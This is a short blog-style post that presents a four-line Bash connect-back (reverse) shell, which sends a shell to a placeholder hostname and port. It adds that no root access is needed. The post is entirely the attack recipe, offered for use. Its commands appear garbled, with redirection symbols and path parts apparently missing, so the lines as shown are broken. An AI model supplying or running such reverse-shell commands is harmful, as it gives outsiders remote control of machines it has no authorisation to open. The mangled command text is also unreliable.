Connect-back shell in four lines
From this blog post, you can create a connect-back shell with four BASH commands:
$ exec 0/tcp/hostname/port # First we copy our connection over stdin
$ exec 1>&0 # Next we copy stdin to stdout
$ exec 2>&0 # And finally stdin to stderr
$ exec /bin/sh 0/tcp/hostname/port 1>&0 2>&0
Oh, and you can do that without root/wheel access.